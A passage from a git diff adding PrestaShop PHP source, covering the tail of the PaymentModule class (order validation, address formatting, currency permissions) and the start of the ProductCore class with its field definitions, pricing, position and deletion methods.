'Cart', intval($order->id_cart)); + die($error); + } + } // End foreach $order_detail_list + // Use the last order as currentOrder + $this->currentOrder = (int)$order->id; + return true; + } + else + { + $error = Tools::displayError('Cart cannot be loaded or an order has already been placed using this cart'); + Logger::addLog($error, 4, '0000001', 'Cart', intval($this->context->cart->id)); + die($error); + } + } + + public function formatProductAndVoucherForEmail($content) + { + return $content; + } + + /** + * @param Object Address $the_address that needs to be txt formated + * @return String the txt formated address block + */ + protected function _getTxtFormatedAddress($the_address) + { + $adr_fields = AddressFormat::getOrderedAddressFields($the_address->id_country, false, true); + $r_values = array(); + foreach ($adr_fields as $fields_line) + { + $tmp_values = array(); + foreach (explode(' ', $fields_line) as $field_item) + { + $field_item = trim($field_item); + $tmp_values[] = $the_address->{$field_item}; + } + $r_values[] = implode(' ', $tmp_values); + } + + $out = implode("\n", $r_values); + return $out; + } + + /** + * @param Object Address $the_address that needs to be txt formated + * @return String the txt formated address block + */ + + protected function _getFormatedAddress(Address $the_address, $line_sep, $fields_style = array()) + { + return AddressFormat::generateAddress($the_address, array('avoid' => array()), $line_sep, ' ', $fields_style); + } + + /** + * @param int $id_currency : this parameter is optionnal but on 1.5 version of Prestashop, it will be REQUIRED + * @return Currency + */ + public function getCurrency($current_id_currency = null) + { + if (!(int)$current_id_currency) + $current_id_currency = Context::getContext()->currency->id; + + if (!$this->currencies) + return false; + if ($this->currencies_mode == 'checkbox') + { + $currencies = Currency::getPaymentCurrencies($this->id); + return $currencies; + } + elseif ($this->currencies_mode == 'radio') + { + $currencies = Currency::getPaymentCurrenciesSpecial($this->id); + $currency = $currencies['id_currency']; + if ($currency == -1) + $id_currency = (int)$current_id_currency; + elseif ($currency == -2) + $id_currency = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + else + $id_currency = $currency; + } + if (!isset($id_currency) || empty($id_currency)) + return false; + return (new Currency($id_currency)); + } + + /** + * Allows specified payment modules to be used by a specific currency + * + * @since 1.4.5 + * @param int $id_currency + * @param array $id_module_list + * @return boolean + */ + public static function addCurrencyPermissions($id_currency, array $id_module_list = array()) + { + $values = ''; + if (count($id_module_list) == 0) + { + // fetch all installed module ids + $modules = PaymentModuleCore::getInstalledPaymentModules(); + foreach ($modules as $module) + $id_module_list[] = $module['id_module']; + } + + foreach ($id_module_list as $id_module) + $values .= '('.(int)$id_module.','.(int)$id_currency.'),'; + + if (!empty($values)) + { + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_currency` (`id_module`, `id_currency`) + VALUES '.rtrim($values, ',') + ); + } + + return true; + } + + /** + * List all installed and active payment modules + * @see Module::getPaymentModules() if you need a list of module related to the user context + * + * @since 1.4.5 + * @return array module informations + */ + public static function getInstalledPaymentModules() + { + $hook_payment = 'Payment'; + if (Db::getInstance()->getValue('SELECT `id_hook` FROM `'._DB_PREFIX_.'hook` WHERE `name` = \'displayPayment\'')) + $hook_payment = 'displayPayment'; + + return Db::getInstance()->executeS(' + SELECT DISTINCT m.`id_module`, h.`id_hook`, m.`name`, hm.`position` + FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + INNER JOIN `'._DB_PREFIX_.'module_shop` ms ON (m.`id_module` = ms.`id_module` AND ms.id_shop='.(int)Context::getContext()->shop->id.') + WHERE h.`name` = \''.pSQL($hook_payment).'\' + '); + } + + + public static function preCall($module_name) + { + if (!parent::preCall($module_name)) + return false; + + if (($module_instance = Module::getInstanceByName($module_name))) + if (!$module_instance->currencies || ($module_instance->currencies && count(Currency::checkPaymentCurrencies($module_instance->id)))) + return true; + + return false; + } + +} diff --git a/classes/Product.php b/classes/Product.php new file mode 100755 index 0000000..80944c5 --- /dev/null +++ b/classes/Product.php @@ -0,0 +1,5280 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0.1 + */ +define('_CUSTOMIZE_FILE_', 0); +/** + * @deprecated 1.5.0.1 + */ +define('_CUSTOMIZE_TEXTFIELD_', 1); + +class ProductCore extends ObjectModel +{ + /** @var string Tax name */ + public $tax_name; + + /** @var string Tax rate */ + public $tax_rate; + + /** @var integer Manufacturer id */ + public $id_manufacturer; + + /** @var integer Supplier id */ + public $id_supplier; + + /** @var integer default Category id */ + public $id_category_default; + + /** @var integer default Shop id */ + public $id_shop_default; + + /** @var string Manufacturer name */ + public $manufacturer_name; + + /** @var string Supplier name */ + public $supplier_name; + + /** @var string Name */ + public $name; + + /** @var string Long description */ + public $description; + + /** @var string Short description */ + public $description_short; + + /** @var integer Quantity available */ + public $quantity = 0; + + /** @var integer Minimal quantity for add to cart */ + public $minimal_quantity = 1; + + /** @var string available_now */ + public $available_now; + + /** @var string available_later */ + public $available_later; + + /** @var float Price in euros */ + public $price = 0; + + /** @var float Additional shipping cost */ + public $additional_shipping_cost = 0; + + /** @var float Wholesale Price in euros */ + public $wholesale_price = 0; + + /** @var boolean on_sale */ + public $on_sale = false; + + /** @var boolean online_only */ + public $online_only = false; + + /** @var string unity */ + public $unity = null; + + /** @var float price for product's unity */ + public $unit_price; + + /** @var float price for product's unity ratio */ + public $unit_price_ratio = 0; + + /** @var float Ecotax */ + public $ecotax = 0; + + /** @var string Reference */ + public $reference; + + /** @var string Supplier Reference */ + public $supplier_reference; + + /** @var string Location */ + public $location; + + /** @var string Width in default width unit */ + public $width = 0; + + /** @var string Height in default height unit */ + public $height = 0; + + /** @var string Depth in default depth unit */ + public $depth = 0; + + /** @var string Weight in default weight unit */ + public $weight = 0; + + /** @var string Ean-13 barcode */ + public $ean13; + + /** @var string Upc barcode */ + public $upc; + + /** @var string Friendly URL */ + public $link_rewrite; + + /** @var string Meta tag description */ + public $meta_description; + + /** @var string Meta tag keywords */ + public $meta_keywords; + + /** @var string Meta tag title */ + public $meta_title; + + /** @var boolean Product statuts */ + public $quantity_discount = 0; + + /** @var boolean Product customization */ + public $customizable; + + /** @var boolean Product is new */ + public $new = null; + + /** @var integer Number of uploadable files (concerning customizable products) */ + public $uploadable_files; + + /** @var int Number of text fields */ + public $text_fields; + + /** @var boolean Product statuts */ + public $active = true; + + /** @var boolean Product statuts */ + public $redirect_type = ''; + + /** @var boolean Product statuts */ + public $id_product_redirected = 0; + + /** @var boolean Product available for order */ + public $available_for_order = true; + + /** @var string Object available order date */ + public $available_date = '0000-00-00'; + + /** @var enum Product condition (new, used, refurbished) */ + public $condition; + + /** @var boolean Show price of Product */ + public $show_price = true; + + /** @var boolean is the product indexed in the search index? */ + public $indexed = 0; + + /** @var string ENUM('both', 'catalog', 'search', 'none') front office visibility */ + public $visibility; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /*** @var array Tags */ + public $tags; + + public $id_tax_rules_group = 1; + + /** + * We keep this variable for retrocompatibility for themes + * @deprecated 1.5.0 + */ + public $id_color_default = 0; + + /** + * @since 1.5.0 + * @var boolean Tells if the product uses the advanced stock management + */ + public $advanced_stock_management = 0; + public $out_of_stock; + public $depends_on_stock; + + public $isFullyLoaded = false; + + public $cache_is_pack; + public $cache_has_attachments; + public $is_virtual; + public $cache_default_attribute; + + /** + * @var string If product is populated, this property contain the rewrite link of the default category + */ + public $category; + + public static $_taxCalculationMethod = null; + protected static $_prices = array(); + protected static $_pricesLevel2 = array(); + protected static $_incat = array(); + protected static $_cart_quantity = array(); + protected static $_tax_rules_group = array(); + protected static $_cacheFeatures = array(); + protected static $_frontFeaturesCache = array(); + protected static $producPropertiesCache = array(); + + /** @var array cache stock data in getStock() method */ + protected static $cacheStock = array(); + + public static $definition = array( + 'table' => 'product', + 'primary' => 'id_product', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + // Classic fields + 'id_shop_default' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_manufacturer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 32), + 'supplier_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 32), + 'location' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 64), + 'width' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'height' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'depth' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'weight' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'quantity_discount' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13', 'size' => 13), + 'upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc', 'size' => 12), + 'cache_is_pack' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'cache_has_attachments' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'is_virtual' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + /* Shop fields */ + 'id_category_default' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'id_tax_rules_group' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'on_sale' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'online_only' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'ecotax' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'minimal_quantity' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'required' => true), + 'wholesale_price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'unity' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isString'), + 'unit_price_ratio' => array('type' => self::TYPE_FLOAT, 'shop' => true), + 'additional_shipping_cost' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice'), + 'customizable' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'text_fields' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'uploadable_files' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedInt'), + 'active' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'redirect_type' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isString'), + 'id_product_redirected' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'available_for_order' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'available_date' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + 'condition' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isGenericName', 'values' => array('new', 'used', 'refurbished'), 'default' => 'new'), + 'show_price' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'indexed' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'visibility' => array('type' => self::TYPE_STRING, 'shop' => true, 'validate' => 'isProductVisibility', 'values' => array('both', 'catalog', 'search', 'none'), 'default' => 'both'), + 'cache_default_attribute' => array('type' => self::TYPE_INT, 'shop' => true), + 'advanced_stock_management' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + + /* Lang fields */ + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 128), + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 128), + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'description_short' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'available_now' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'available_later' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'IsGenericName', 'size' => 255), + ), + 'associations' => array( + 'manufacturer' => array('type' => self::HAS_ONE), + 'supplier' => array('type' => self::HAS_ONE), + 'default_category' => array('type' => self::HAS_ONE, 'field' => 'id_category_default', 'object' => 'Category'), + 'tax_rules_group' => array('type' => self::HAS_ONE), + 'categories' => array('type' => self::HAS_MANY, 'field' => 'id_category', 'object' => 'Category', 'association' => 'category_product'), + 'stock_availables' => array('type' => self::HAS_MANY, 'field' => 'id_stock_available', 'object' => 'StockAvailable', 'association' => 'stock_availables'), + ), + ); + + protected $webserviceParameters = array( + 'objectMethods' => array( + 'add' => 'addWs', + 'update' => 'updateWs' + ), + 'objectNodeNames' => 'products', + 'fields' => array( + 'id_manufacturer' => array( + 'xlink_resource' => 'manufacturers' + ), + 'id_supplier' => array( + 'xlink_resource' => 'suppliers' + ), + 'id_category_default' => array( + 'xlink_resource' => 'categories' + ), + 'new' => array(), + 'cache_default_attribute' => array(), + 'id_default_image' => array( + 'getter' => 'getCoverWs', + 'setter' => 'setCoverWs', + 'xlink_resource' => array( + 'resourceName' => 'images', + 'subResourceName' => 'products' + ) + ), + 'id_default_combination' => array( + 'getter' => 'getWsDefaultCombination', + 'setter' => 'setWsDefaultCombination', + 'xlink_resource' => array( + 'resourceName' => 'combinations' + ) + ), + 'id_tax_rules_group' => array( + 'xlink_resource' => array( + 'resourceName' => 'tax_rules_group' + ) + ), + 'position_in_category' => array( + 'getter' => 'getWsPositionInCategory', + 'setter' => false + ), + 'manufacturer_name' => array( + 'getter' => 'getWsManufacturerName', + 'setter' => false + ), + 'quantity' => array( + 'getter' => false, + 'setter' => false + ), + 'type' => array( + 'getter' => 'getWsType', + 'setter' => false, + ), + ), + 'associations' => array( + 'categories' => array( + 'resource' => 'category', + 'fields' => array( + 'id' => array('required' => true), + ) + ), + 'images' => array( + 'resource' => 'image', + 'fields' => array('id' => array()) + ), + 'combinations' => array( + 'resource' => 'combinations', + 'fields' => array( + 'id' => array('required' => true), + ) + ), + 'product_option_values' => array( + 'resource' => 'product_options_values', + 'fields' => array( + 'id' => array('required' => true), + ) + ), + 'product_features' => array( + 'resource' => 'product_feature', + 'fields' => array( + 'id' => array('required' => true), + 'id_feature_value' => array( + 'required' => true, + 'xlink_resource' => 'product_feature_values' + ), + ) + ), + 'tags' => array('resource' => 'tag', + 'fields' => array( + 'id' => array('required' => true), + )), + 'stock_availables' => array('resource' => 'stock_available', + 'fields' => array( + 'id' => array('required' => true), + 'id_product_attribute' => array('required' => true), + ), + 'setter' => false + ), + 'accessories' => array( + 'resource' => 'product', + 'fields' => array( + 'id' => array( + 'required' => true, + 'xlink_resource' => 'product'), + ) + ), + 'product_bundle' => array( + 'resource' => 'products', + 'fields' => array( + 'id' => array('required' => true), + 'quantity' => array(), + ), + ), + ), + ); + + const CUSTOMIZE_FILE = 0; + const CUSTOMIZE_TEXTFIELD = 1; + + /** + * Note: prefix is "PTYPE" because TYPE_ is used in ObjectModel (definition) + */ + const PTYPE_SIMPLE = 0; + const PTYPE_PACK = 1; + const PTYPE_VIRTUAL = 2; + + public function __construct($id_product = null, $full = false, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_product, $id_lang, $id_shop); + if (!$context) + $context = Context::getContext(); + + if ($full && $this->id) + { + $this->isFullyLoaded = $full; + $this->tax_name = 'deprecated'; // The applicable tax may be BOTH the product one AND the state one (moreover this variable is some deadcode) + $this->manufacturer_name = Manufacturer::getNameById((int)$this->id_manufacturer); + $this->supplier_name = Supplier::getNameById((int)$this->id_supplier); + $address = null; + if (is_object($context->cart) && $context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')} != null) + $address = $context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}; + + $this->tax_rate = $this->getTaxesRate(new Address($address)); + + $this->new = $this->isNew(); + + // keep base price + $this->base_price = $this->price; + + $this->price = Product::getPriceStatic((int)$this->id, false, null, 6, null, false, true, 1, false, null, null, null, $this->specificPrice); + $this->unit_price = ($this->unit_price_ratio != 0 ? $this->price / $this->unit_price_ratio : 0); + if ($this->id) + $this->tags = Tag::getProductTags((int)$this->id); + + $this->loadStockData(); + } + + if ($this->id_category_default) + $this->category = Category::getLinkRewrite((int)$this->id_category_default, (int)$id_lang); + } + + /** + * @see ObjectModel::getFieldsShop() + * @return array + */ + public function getFieldsShop() + { + $fields = parent::getFieldsShop(); + if (is_null($this->update_fields) || (!empty($this->update_fields['price']) && !empty($this->update_fields['unit_price']))) + $fields['unit_price_ratio'] = (float)$this->unit_price > 0 ? $this->price / $this->unit_price : 0; + + return $fields; + } + + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values)) + return false; + + if ($this->getType() == Product::PTYPE_VIRTUAL) + StockAvailable::setProductOutOfStock((int)$this->id, 1); + else + StockAvailable::setProductOutOfStock((int)$this->id, 2); + + $this->setGroupReduction(); + Hook::exec('actionProductSave', array('id_product' => $this->id)); + return true; + } + + public function update($null_values = false) + { + $return = parent::update($null_values); + $this->setGroupReduction(); + Hook::exec('actionProductSave', array('id_product' => $this->id)); + return $return; + } + + public static function initPricesComputation($id_customer = null) + { + if ($id_customer) + { + $customer = new Customer((int)$id_customer); + if (!Validate::isLoadedObject($customer)) + die(Tools::displayError()); + self::$_taxCalculationMethod = Group::getPriceDisplayMethod((int)$customer->id_default_group); + } + else + self::$_taxCalculationMethod = Group::getPriceDisplayMethod(Group::getCurrent()->id); + } + + public static function getTaxCalculationMethod($id_customer = null) + { + if (self::$_taxCalculationMethod === null || $id_customer !== null) + Product::initPricesComputation($id_customer); + + return (int)self::$_taxCalculationMethod; + } + + /** + * Move a product inside its category + * @param boolean $way Up (1) or Down (0) + * @param integer $position + * return boolean Update result + */ + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT cp.`id_product`, cp.`position`, cp.`id_category` + FROM `'._DB_PREFIX_.'category_product` cp + WHERE cp.`id_category` = '.(int)Tools::getValue('id_category', 1).' + ORDER BY cp.`position` ASC' + )) + return false; + + foreach ($res as $product) + if ((int)$product['id_product'] == (int)$this->id) + $moved_product = $product; + + if (!isset($moved_product) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'category_product` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_product['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_product['position'].' AND `position` >= '.(int)$position).' + AND `id_category`='.(int)$moved_product['id_category']) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'category_product` + SET `position` = '.(int)$position.' + WHERE `id_product` = '.(int)$moved_product['id_product'].' + AND `id_category`='.(int)$moved_product['id_category'])); + } + + /* + * Reorder product position in category $id_category. + * Call it after deleting a product from a category. + * + * @param int $id_category + */ + public static function cleanPositions($id_category) + { + $return = true; + + $result = Db::getInstance()->executeS(' + SELECT `id_product` + FROM `'._DB_PREFIX_.'category_product` + WHERE `id_category` = '.(int)$id_category.' + ORDER BY `position` + '); + $total = count($result); + + for ($i = 0; $i < $total; $i++) + $return &= Db::getInstance()->update('category_product', array( + 'position' => $i, + ), '`id_category` = '.(int)$id_category.' AND `id_product` = '.(int)$result[$i]['id_product']); + + return $return; + } + + /** + * Get the default attribute for a product + * + * @return int Attributes list + */ + public static function getDefaultAttribute($id_product, $minimum_quantity = 0) + { + static $combinations = array(); + + if (!Combination::isFeatureActive()) + return 0; + + if (!isset($combinations[$id_product])) + $combinations[$id_product] = array(); + if (isset($combinations[$id_product][$minimum_quantity])) + return $combinations[$id_product][$minimum_quantity]; + + $sql = 'SELECT pa.id_product_attribute + FROM '._DB_PREFIX_.'product_attribute pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.($minimum_quantity > 0 ? Product::sqlStock('pa', 'pa') : ''). + ' WHERE product_attribute_shop.default_on = 1 ' + .($minimum_quantity > 0 ? ' AND IFNULL(stock.quantity, 0) >= '.(int)$minimum_quantity : ''). + ' AND pa.id_product = '.(int)$id_product; + $result = Db::getInstance()->getValue($sql); + + if (!$result) + { + $sql = 'SELECT pa.id_product_attribute + FROM '._DB_PREFIX_.'product_attribute pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.($minimum_quantity > 0 ? Product::sqlStock('pa', 'pa') : ''). + ' WHERE pa.id_product = '.(int)$id_product + .($minimum_quantity > 0 ? ' AND IFNULL(stock.quantity, 0) >= '.(int)$minimum_quantity : ''); + $result = Db::getInstance()->getValue($sql); + } + + if (!$result) + { + $sql = 'SELECT pa.id_product_attribute + FROM '._DB_PREFIX_.'product_attribute pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE product_attribute_shop.`default_on` = 1 + AND pa.id_product = '.(int)$id_product; + $result = Db::getInstance()->getValue($sql); + } + + if (!$result) + { + $sql = 'SELECT pa.id_product_attribute + FROM '._DB_PREFIX_.'product_attribute pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.id_product = '.(int)$id_product; + $result = Db::getInstance()->getValue($sql); + } + + $combinations[$id_product][$minimum_quantity] = $result; + return $result; + } + + public function setAvailableDate($available_date = '0000-00-00') + { + if (Validate::isDateFormat($available_date) && $this->available_date != $available_date) + { + $this->available_date = $available_date; + return $this->update(); + } + return false; + } + + public static function updateIsVirtual($id_product) + { + Db::getInstance()->update('product', array( + 'is_virtual' => (int)$id_product, + ), 'id_product = '.(int)$id_product); + } + + /** + * @see ObjectModel::validateFieldsLang() + */ + public function validateFieldsLang($die = true, $error_return = false) + { + $limit = (int)Configuration::get('PS_PRODUCT_SHORT_DESC_LIMIT'); + if ($limit <= 0) + $limit = 800; + $this->def['fields']['description_short']['size'] = $limit; + + return parent::validateFieldsLang($die, $error_return); + } + + /** + * @see ObjectModel::validateField() + */ + public function validateField($field, $value, $id_lang = null) + { + $value = ($field == 'description_short' ? strip_tags($value) : $value); + return parent::validateField($field, $value, $id_lang); + } + + public function toggleStatus() + { + //test if the product is active and if redirect_type is empty string and set default value to id_product_redirected & redirect_type + // /!\ after parent::toggleStatus() active will be false, that why we set 404 by default :p + if ($this->active) + { + //case where active will be false after parent::toggleStatus() + $this->id_product_redirected = 0; + $this->redirect_type = '404'; + } + else + { + //case where active will be true after parent::toggleStatus() + $this->id_product_redirected = 0; + $this->redirect_type = ''; + } + return parent::toggleStatus(); + } + + public function delete() + { + /* + * @since 1.5.0 + * It is NOT possible to delete a product if there are currently: + * - physical stock for this product + * - supply order(s) for this product + */ + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && $this->advanced_stock_management) + { + $stock_manager = StockManagerFactory::getManager(); + $physical_quantity = $stock_manager->getProductPhysicalQuantities($this->id, 0); + $real_quantity = $stock_manager->getProductRealQuantities($this->id, 0); + if ($physical_quantity > 0) + return false; + if ($real_quantity > $physical_quantity) + return false; + } + $result = parent::delete(); + + // Removes the product from StockAvailable, for the current shop + StockAvailable::removeProductFromStockAvailable($this->id); + $result &= ($this->deleteProductAttributes() && $this->deleteImages() && $this->deleteSceneProducts()); + // If there are still entries in product_shop, don't remove completly the product + if ($this->hasMultishopEntries()) + return true; + + Product::cleanPositions($this->id); + + Hook::exec('actionProductDelete', array('product' => $this)); + if (!$result || + !GroupReduction::deleteProductReduction($this->id) || + !$this->deleteCategories(true) || + !$this->deleteProductFeatures() || + !$this->deleteTags() || + !$this->deleteCartProducts() || + !$this->deleteAttributesImpacts() || + !$this->deleteAttachments() || + !$this->deleteCustomization() || + !SpecificPrice::deleteByProductId((int)$this->id) || + !$this->deletePack() || + !$this->deleteProductSale() || + !$this->deleteSearchIndexes() || + !$this->deleteAccessories() || + !$this->deleteFromAccessories() || + !$this->deleteFromSupplier() || + !$this->deleteDownload() || + !$this->deleteFromCartRules()) + return false; + + return true; + } + + public function deleteSelection($products) + { + $return = 1; + if (is_array($products) && ($count = count($products))) + { + // Deleting products can be quite long on a cheap server. Let's say 1.5 seconds by product (I've seen it!). + if (intval(ini_get('max_execution_time')) < round($count * 1.5)) + ini_set('max_execution_time', round($count * 1.5)); + + foreach ($products as $id_product) + { + $product = new Product((int)$id_product); + $return &= $product->delete(); + } + } + return $return; + } + + public function deleteFromCartRules() + { + CartRule::cleanProductRuleIntegrity('products', $this->id); + return true; + } + + public function deleteFromSupplier() + { + return Db::getInstance()->delete('product_supplier', 'id_product = '.(int)$this->id); + } + + /** + * addToCategories add this product to the category/ies if not exists. + * + * @param mixed $categories id_category or array of id_category + * @return boolean true if succeed + */ + public function addToCategories($categories = array()) + { + if (empty($categories)) + return false; + + if (!is_array($categories)) + $categories = array($categories); + + if (!count($categories)) + return false; + + $categories = array_map('intval', $categories); + + $current_categories = $this->getCategories(); + $current_categories = array_map('intval', $current_categories); + + // for new categ, put product at last position + $res_categ_new_pos = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_category, MAX(position)+1 newPos + FROM `'._DB_PREFIX_.'category_product` + WHERE `id_category` IN('.implode(',', $categories).') + GROUP BY id_category'); + foreach ($res_categ_new_pos as $array) + $new_categories[(int)$array['id_category']] = (int)$array['newPos']; + + $new_categ_pos = array(); + foreach ($categories as $id_category) + $new_categ_pos[$id_category] = isset($new_categories[$id_category]) ? $new_categories[$id_category] : 0; + + $product_cats = array(); + + foreach ($categories as $new_id_categ) + if (!in_array($new_id_categ, $current_categories)) + $product_cats[] = array( + 'id_category' => (int)$new_id_categ, + 'id_product' => (int)$this->id, + 'position' => (int)$new_categ_pos[$new_id_categ], + ); + + Db::getInstance()->insert('category_product', $product_cats); + return true; + } + + /** + * Update categories to index product into + * + * @param string $productCategories Categories list to index product into + * @param boolean $keeping_current_pos (deprecated, no more used) + * @return array Update/insertion result + */ + public function updateCategories($categories, $keeping_current_pos = false) + { + if (empty($categories)) + return false; + + $result = Db::getInstance()->executeS(' + SELECT c.`id_category` + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'category` c ON (c.`id_category` = cp.`id_category`) + '.Shop::addSqlAssociation('category', 'c', true, null, true).' + WHERE cp.`id_category` NOT IN ('.implode(',', array_map('intval', $categories)).') + AND cp.id_product = '.$this->id + ); + + foreach ($result as $categ_to_delete) + $this->deleteCategory($categ_to_delete['id_category']); + // if none are found, it's an error + if (!is_array($result)) + return false; + + if (!$this->addToCategories($categories)) + return false; + + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return true; + } + + /** + * deleteCategory delete this product from the category $id_category + * + * @param mixed $id_category + * @param mixed $clean_positions + * @return boolean + */ + public function deleteCategory($id_category, $clean_positions = true) + { + $result = Db::getInstance()->executeS( + 'SELECT `id_category` + FROM `'._DB_PREFIX_.'category_product` + WHERE `id_product` = '.(int)$this->id.' + AND id_category = '.(int)$id_category.'' + ); + + $return = Db::getInstance()->delete('category_product', 'id_product = '.(int)$this->id.' AND id_category = '.(int)$id_category); + if ($clean_positions === true) + foreach ($result as $row) + $this->cleanPositions((int)$row['id_category']); + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return $return; + } + + /** + * Delete all association to category where product is indexed + * + * @param boolean $clean_positions clean category positions after deletion + * @return array Deletion result + */ + public function deleteCategories($clean_positions = false) + { + if ($clean_positions === true) + $result = Db::getInstance()->executeS( + 'SELECT `id_category` + FROM `'._DB_PREFIX_.'category_product` + WHERE `id_product` = '.(int)$this->id + ); + + $return = Db::getInstance()->delete('category_product', 'id_product = '.(int)$this->id); + if ($clean_positions === true && is_array($result)) + foreach ($result as $row) + $return &= $this->cleanPositions((int)$row['id_category']); + + return $return; + } + + /** + * Delete products tags entries + * + * @return array Deletion result + */ + public function deleteTags() + { + return Db::getInstance()->delete('product_tag', 'id_product = '.(int)$this->id) + && Db::getInstance()->delete('tag', 'id_tag NOT IN (SELECT id_tag FROM '._DB_PREFIX_.'product_tag)'); + } + + /** + * Delete product from cart + * + * @return array Deletion result + */ + public function deleteCartProducts() + { + return Db::getInstance()->delete('cart_product', 'id_product = '.(int)$this->id); + } + + /** + * Delete product images from database + * + * @return bool success + */ + public function deleteImages() 